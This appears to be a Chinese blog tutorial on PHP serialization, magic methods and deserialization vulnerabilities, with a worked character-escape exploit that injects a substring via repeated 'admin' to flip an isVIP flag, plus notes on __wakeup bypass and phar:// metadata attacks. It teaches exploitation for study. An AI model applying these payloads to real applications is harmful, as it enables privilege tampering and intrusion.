php序列化与反序列化

序列化:把对象转换为字节序列的过程称为对象的序列化

PHP中的序列化函数是serialize()

serialize()函数用于序列化对象数组,并返回一个字符串。serialize()函数序列化对象后,可以很方便的将它传递给其他需要它的地方,且其类型和结构不会改变。

语法string serialize ( mixed $value )
参数说明 $value: 要序列化的对象或数组。
返回值 返回一个字符串。

示例:

<?php
highlight_file(__FILE__);
$sites=array('I', 'Like', 'PHP');
echo'<br/>';
var_dump(serialize($sites));    
echo'<br/>';

classman{
public$name="xiaocui";
public$sex="man";
private$age=26;
}
$M=newman();
var_dump(serialize($M));

?>

输出结果为:

string(47) "a:3:{i:0;s:1:"I";i:1;s:4:"Like";i:2;s:3:"PHP";}"
string(79) "O:3:"man":3:{s:4:"name";s:7:"xiaocui";s:3:"sex";s:3:"man";s:8:"manage";i:26;}"

反序列化:把字节序列恢复为对象的过程称为对象的反序列化
PHP中的反序列化函数unserialize()

序列化的作用

①可以把对象的字节序列永久放在磁盘中,需要时可以随时调用,大大节省磁盘占用空间。

②在传输过程中可以直接传输字节序列,而不是对象,这可以大大提高传输速率。

 

魔术方法

PHP将所有以__(两个下划线)开头的类方法保留为魔术方法。

__construct()

具有 __construct函数的类会在每次创建新对象时先调用此方法

__destruct()

析构函数只有在对象从内存中删除之前才会被自动调用。

该函数会在到某个对象的所有方法都被引用后或者当对象被销毁时(unset()函数)执行

__sleep()

在使用serialize()函数时,程序会检查类中是否存在一个__sleep()魔术方法。如果存在,则该方法会先被调用,然后再执行序列化操作。

__wakeup()

在使用unserialize()时,会检查是否存在一个__wakeup()魔术方法。如果存在,则该方法会先被调用。

 

php7.1+版本对属性类型不敏感,本地序列化的时候将属性改为public进行绕过即可

php 反序列化漏洞:当反序列化字符串时,如果表示属性个数的值大于真实属性个数,就会跳过_wakeup函数的执行。

 

当用户先将对象序列化,然后将对象中的字符进行过滤,最后再进行反序列化,这个时候就有可能会产生PHP反序列化字符逃逸的漏洞。

过滤后字符变多

假设我们先定义一个user类,然后里面一共有3个成员变量:usernamepasswordisVIP

1

2

3

4

5

6

7

8

9

10

class user{

public $username;

public $password;

public $isVIP;

public function __construct($u,$p){

$this->username = $u;

$this->password = $p;

$this->isVIP = 0;

  }

}

可以看到当这个类被初始化的时候,isVIP变量默认是0,并且不受初始化传入的参数影响。

接下来把完整代码贴出来,便于我们分析。

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

<?php

class user{

public $username;

public $password;

public $isVIP;

public function __construct($u,$p){

$this->username = $u;

$this->password = $p;

$this->isVIP = 0;

  }

}

$a = new user("admin","123456");

$a_seri = serialize($a);

echo $a_seri;

?>

这一段程序的输出结果如下:

1

O:4:"user":3:{s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}

可以看到,对象序列化之后的isVIP变量是0

这个时候我们增加一个函数,用于对admin字符进行替换,将admin替换为hacker,替换函数如下:

1

2

3

function filter($s){

return str_replace("admin","hacker",$s);

}

因此整段程序如下:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

<?php

class user{

public $username;

public $password;

public $isVIP;

public function __construct($u,$p){

$this->username = $u;

$this->password = $p;

$this->isVIP = 0;

  }

}

function filter($s){

return str_replace("admin","hacker",$s);

}

$a = new user("admin","123456");

$a_seri = serialize($a);

$a_seri_filter = filter($a_seri);

echo $a_seri_filter;

?>

这一段程序的输出为:

1

O:4:"user":3:{s:8:"username";s:5:"hacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}

这个时候我们把这两个程序的输出拿出来对比一下:

1

2

O:4:"user":3:{s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}  //未过滤

O:4:"user":3:{s:8:"username";s:5:"hacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}  //已过滤

可以看到已过滤字符串中的hacker与前面的字符长度不对应了

1

2

s:5:"admin";

s:5:"hacker";

在这个时候,对于我们,在新建对象的时候,传入的admin就是我们的可控变量

底层代码是以;作为字段的分隔,以"}"作为结尾, 反序列化 时,结尾后的字符串会被忽略掉

接下来明确我们的目标:将isVIP变量的值修改为1

首先我们将我们的现有子串目标子串进行对比:

1

2

";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}  //现有子串

";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}  //目标子串

也就是说,我们要在admin这个可控变量的位置,注入我们的目标子串

首先计算我们需要注入的目标子串的长度

1

2

";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}

//以上字符串的长度为47

因为我们需要逃逸的字符串长度为47,并且admin每次过滤之后都会变成hacker,也就是说每出现一次admin,就会多1个字符。

因此我们在可控变量处,重复47admin,然后加上我们逃逸后的目标子串,可控变量修改如下:

1

adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}

完整代码如下:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

<?php

class user{

public $username;

public $password;

public $isVIP;

public function __construct($u,$p){

$this->username = $u;

$this->password = $p;

$this->isVIP = 0;

  }

}

function filter($s){

return str_replace("admin","hacker",$s);

}

$a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}','123456');

$a_seri = serialize($a);

$a_seri_filter = filter($a_seri);

echo $a_seri_filter;

?>

程序输出结果为:

1

O:4:"user":3:{s:8:"username";s:282:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}

我们可以数一下hacker的数量,一共是47hacker,共282个字符,正好与前面282相对应。

后面的注入子串也正好完成了逃逸。

反序列化后,多余的子串会被抛弃

我们接着将这个序列化结果反序列化,然后将其输出,完整代码如下:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

<?php

class user{

public $username;

public $password;

public $isVIP;

public function __construct($u,$p){

$this->username = $u;

$this->password = $p;

$this->isVIP = 0;

  }

}

function filter($s){

return str_replace("admin","hacker",$s);

}

$a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}','123456');

$a_seri = serialize($a);

$a_seri_filter = filter($a_seri);

$a_seri_filter_unseri = unserialize($a_seri_filter);

var_dump($a_seri_filter_unseri);

?>

程序输出如下:

1

2

3

4

5

6

7

8

object(user)#2 (3) {

  ["username"]=>

string(282) "hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker"

  ["password"]=>

string(6) "123456"

  ["isVIP"]=>

int(1)

}

可以看到这个时候,isVIP这个变量就变成了1,反序列化字符逃逸的目的也就达到了。

 

 

php pop链

以上讲的都是只有一个类的例子,当类的个数多起来并且相互之间有所联系时,我们就需要通过pop链来达到漏洞。

 

 

1.回顾一下原先 PHP 反序列化攻击的必要条件

(1)首先我们必须有 unserailize() 函数

(2)unserailize() 函数的参数必须可控

这两个是原先存在 PHP 反序列化漏洞的必要条件,没有这两个条件你谈都不要谈,根本不可能,但是有了下面这个方法就有可能

2.phar:// 如何扩展反序列化的攻击面的

原来 phar 文件包在 生成时会以序列化的形式存储用户自定义的 meta-data ,配合 phar:// 我们就能在文件系统函数 file_exists() is_dir() 等参数可控的情况下实现自动的反序列化操作,于是我们就能通过构造精心设计的 phar 包在没有 unserailize() 的情况下实现反序列化攻击,从而将 PHP 反序列化漏洞的触发条件大大拓宽了,降低了我们 PHP 反序列化的攻击起点。

3.具体解释一下 phar 的使用

phar(PHp ARchive)是类似于JAR的一种打包文件。PHP ≥5.3对Phar后缀文件是默认开启支持的,不需要任何其他的安装就可以使用它。

漏洞触发是利用Phar:// 伪协议读取phar文件时,会反序列化meta-data储存的信息。

 

 phar文件格式:

phar文件由四部分组成

1.stub

stub是phar文件的文件头,格式为xxxxxx<?php ...;__HALT_COMPILER();?>,xxxxxx可以是任意字符,包括留空,且php闭合符与最后一个分号之间不能有多于一个的空格符。另外php闭合符也可省略。

2.manifest describing the contents

该区域存放phar包的属性信息,允许每个文件指定文件压缩、文件权限,甚至是用户定义的元数据,如文件用户或组。

这里面的metadata以serialize形式储存,为反序列化漏洞埋下了伏笔。

3.file contents

被压缩的用户添加的文件内容

4.signature

可选,phar文件的签名,允许的有MD5, SHA1, SHA256, SHA512和OPENSSL.

posted @   heartbeat111  阅读(239)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· 单线程的Redis速度为什么快?
· SQL Server 2025 AI相关能力初探
· AI编程工具终极对决:字节Trae VS Cursor,谁才是开发者新宠?
· 展开说说关于C#中ORM框架的用法!
点击右上角即可分享
微信分享提示